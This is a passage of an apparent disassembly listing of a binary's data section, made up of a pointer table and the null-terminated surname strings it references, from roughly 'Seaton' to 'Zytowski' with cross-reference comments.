"Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EF28o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EF24o align 10h aZurn db 'Zurn',0 ; DATA XREF: ___:0042EF20o align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EF1Co aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042EF18o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042EF14o aZegans db 'Zegans',0 ; DATA XREF: ___:0042EF10o align 4 aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042EF0Co align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042EF08o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EF04o aYu db 'Yu',0 ; DATA XREF: ___:0042EF00o align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EEFCo align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042EEF8o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EEF4o align 10h aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EEF0o align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EEECo align 10h aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EEE8o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EEE4o align 10h aYates db 'Yates',0 ; DATA XREF: ___:0042EEE0o align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EEDCo aYankee db 'Yankee',0 ; DATA XREF: ___:0042EED8o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EED4o align 10h aYacono db 'Yacono',0 ; DATA XREF: ___:0042EED0o align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EECCo align 10h aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EEC8o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EEC4o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EEC0o align 10h aWooden db 'Wooden',0 ; DATA XREF: ___:0042EEBCo align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EEB8o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EEB4o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EEB0o align 10h aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EEACo align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EEA8o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EEA4o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EEA0o align 10h aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EE9Co aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EE98o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EE94o align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EE90o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EE8Co align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EE88o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EE84o align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042EE80o aViens db 'Viens',0 ; DATA XREF: ___:0042EE7Co align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042EE78o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EE74o aViano db 'Viano',0 ; DATA XREF: ___:0042EE70o align 10h aViana db 'Viana',0 ; DATA XREF: ___:0042EE6Co align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EE68o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EE64o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EE60o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EE5Co aWhately db 'Whately',0 ; DATA XREF: ___:0042EE58o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EE54o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EE50o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EE4Co align 10h aVenne db 'Venne',0 ; DATA XREF: ___:0042EE48o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EE44o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EE40o align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EE3Co align 10h aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EE38o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EE34o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EE30o align 4 aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EE2Co align 10h aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EE28o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EE24o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EE20o align 10h aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EE1Co aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EE18o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EE14o align 10h aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EE10o align 10h aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EE0Co align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EE08o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EE04o align 10h aWalter db 'Walter',0 ; DATA XREF: ___:0042EE00o align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EDFCo align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042EDF8o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EDF4o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EDF0o aWaite db 'Waite',0 ; DATA XREF: ___:0042EDECo align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EDE8o align 10h aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EDE4o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EDE0o align 10h aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EDDCo align 10h aUrban db 'Urban',0 ; DATA XREF: ___:0042EDD8o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EDD4o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EDD0o align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EDCCo align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EDC8o align 10h aTwells db 'Twells',0 ; DATA XREF: ___:0042EDC4o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EDC0o align 10h aTurek db 'Turek',0 ; DATA XREF: ___:0042EDBCo align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EDB8o align 10h aTukan db 'Tukan',0 ; DATA XREF: ___:0042EDB4o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EDB0o align 10h aTuck db 'Tuck',0 ; DATA XREF: ___:0042EDACo align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EDA8o align 4 aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EDA4o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EDA0o aTruss db 'Truss',0 ; DATA XREF: ___:0042ED9Co align 10h aTroy db 'Troy',0 ; DATA XREF: ___:0042ED98o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042ED94o aTringali db 'Tringali',0 ; DATA XREF: ___:0042ED90o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042ED8Co align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042ED88o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042ED84o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042ED80o align 10h aTowler db 'Towler',0 ; DATA XREF: ___:0042ED7Co align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042ED78o align 10h aTorresi db 'Torresi',0 ; DATA XREF: ___:0042ED74o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042ED70o aToomer db 'Toomer',0 ; DATA XREF: ___:0042ED6Co align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042ED68o aTolman db 'Tolman',0 ; DATA XREF: ___:0042ED64o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042ED60o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042ED5Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042ED58o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042ED54o aTill db 'Till',0 ; DATA XREF: ___:0042ED50o align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042ED4Co aThroop db 'Throop',0 ; DATA XREF: ___:0042ED48o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042ED44o aThisted db 'Thisted',0 ; DATA XREF: ___:0042ED40o aThibault db 'Thibault',0 ; DATA XREF: ___:0042ED3Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042ED38o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042ED34o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042ED30o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042ED2Co align 10h aTenney db 'Tenney',0 ; DATA XREF: ___:0042ED28o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042ED24o align 10h aTemes db 'Temes',0 ; DATA XREF: ___:0042ED20o align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042ED1Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042ED18o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042ED14o align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042ED10o aTatar db 'Tatar',0 ; DATA XREF: ___:0042ED0Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042ED08o align 10h aTandler db 'Tandler',0 ; DATA XREF: ___:0042ED04o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042ED00o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042ECFCo align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042ECF8o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042ECF4o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042ECF0o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042ECECo align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042ECE8o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042ECE4o align 10h aSuo db 'Suo',0 ; DATA XREF: ___:0042ECE0o aSumner db 'Sumner',0 ; DATA XREF: ___:0042ECDCo align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042ECD8o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042ECD4o align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042ECD0o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042ECCCo aStrange db 'Strange',0 ; DATA XREF: ___:0042ECC8o aStott db 'Stott',0 ; DATA XREF: ___:0042ECC4o align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042ECC0o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042ECBCo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042ECB8o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042ECB4o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042ECB0o align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042ECACo align 10h aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042ECA8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042ECA4o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042ECA0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042EC9Co aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042EC98o align 10h aSteiner db 'Steiner',0 ; DATA XREF: ___:0042EC94o aStefani db 'Stefani',0 ; DATA XREF: ___:0042EC90o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042EC8Co align 4 aStates db 'States',0 ; DATA XREF: ___:0042EC88o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042EC84o align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042EC80o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042EC7Co align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042EC78o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042EC74o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042EC70o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042EC6Co align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042EC68o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042EC64o align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042EC60o aSpence db 'Spence',0 ; DATA XREF: ___:0042EC5Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042EC58o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042EC54o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042EC50o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042EC4Co aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042EC48o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042EC44o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042EC40o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042EC3Co align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042EC38o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042EC34o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042EC30o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042EC2Co align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042EC28o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042EC24o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042EC20o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042EC1Co aSmilow db 'Smilow',0 ; DATA XREF: ___:0042EC18o align 10h aSlowe db 'Slowe',0 ; DATA XREF: ___:0042EC14o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042EC10o align 10h aSkoda db 'Skoda',0 ; DATA XREF: ___:0042EC0Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042EC08o align 10h aSkane db 'Skane',0 ; DATA XREF: ___:0042EC04o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042EC00o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042EBFCo aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042EBF8o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042EBF4o align 10h aSilverman db 'Silverman',0 ; DATA XREF: ___:0042EBF0o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042EBECo align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042EBE8o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042EBE4o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042EBE0o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042EBDCo align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042EBD8o aShia db 'Shia',0 ; DATA XREF: ___:0042EBD4o align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042EBD0o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042EBCCo align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042EBC8o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042EBC4o align 10h aSheats db 'Sheats',0 ; DATA XREF: ___:0042EBC0o align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042EBBCo align 10h aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042EBB8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042EBB4o aShar db 'Shar',0 ; DATA XREF: ___:0042EBB0o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042EBACo aShankland db 'Shankland',0 ; DATA XREF: ___:0042EBA8o align 10h aShakis db 'Shakis',0 ; DATA XREF: ___:0042EBA4o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042EBA0o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042EB9Co aSexton db 'Sexton',0 ; DATA XREF: ___:0042EB98o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042EB94o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042EB90o aSen db 'Sen',0 ; DATA XREF: ___:0042EB8Co aSelvage db 'Selvage',0 ; DATA XREF: ___:0042EB88o aSekler db 'Sekler',0 ; DATA XREF: ___:0042EB84o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042EB80o align 10h aSeeber db 'Seeber',0 ; DATA XREF: ___:0042EB7Co align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042EB78o align 10h aScudder db 'Scudder',0 ; DATA XREF: ___:0042EB74o aScovel db 'Scovel',0 ; DATA XREF: ___:0042EB70o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042EB6Co aSchwan db 'Schwan',0 ; DATA XREF: ___:0042EB68o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042EB64o align 10h aSchutte db 'Schutte',0 ; DATA XREF: ___:0042EB60o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042EB5Co aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042EB58o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042EB54o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042EB50o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042EB4Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: ___:0042EB48o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042EB44o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042EB40o aScharf db 'Scharf',0 ; DATA XREF: ___:0042EB3Co align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042EB38o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042EB34o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042EB30o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042EB2Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042EB28o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042EB24o align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042EB20o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042EB1Co align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042EB18o aSarin db 'Sarin',0 ; DATA XREF: ___:0042EB14o align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042EB10o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042EB0Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042EB08o aSamson db 'Samson',0 ; DATA XREF: ___:0042EB04o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042EB00o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042EAFCo align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042EAF8o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042EAF4o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042EAF0o align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042EAECo aRush db 'Rush',0 ; DATA XREF: ___:0042EAE8o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042EAE4o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042EAE0o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042EADCo align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042EAD8o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042EAD4o align 10h aRow db 'Row',0 ; DATA XREF: ___:0042EAD0o aRonen db 'Ronen',0 ; DATA XREF: ___:0042EACCo align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042EAC8o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042EAC4o aRocha db 'Rocha',0 ; DATA XREF: ___:0042EAC0o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042EABCo align 10h aRivera db 'Rivera',0 ; DATA XREF: ___:0042EAB8o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042EAB4o align 10h aRineer db 'Rineer',0 ; DATA XREF: ___:0042EAB0o align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042EAACo align 10h aRielly db 'Rielly',0 ; DATA XREF: ___:0042EAA8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042EAA4o align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042EAA0o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042EA9Co align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042EA98o aRenick db 'Renick',0 ; DATA XREF: ___:0042EA94o align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042EA90o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042EA8Co aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042EA88o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042EA84o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042EA80o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042EA7Co aRapple db 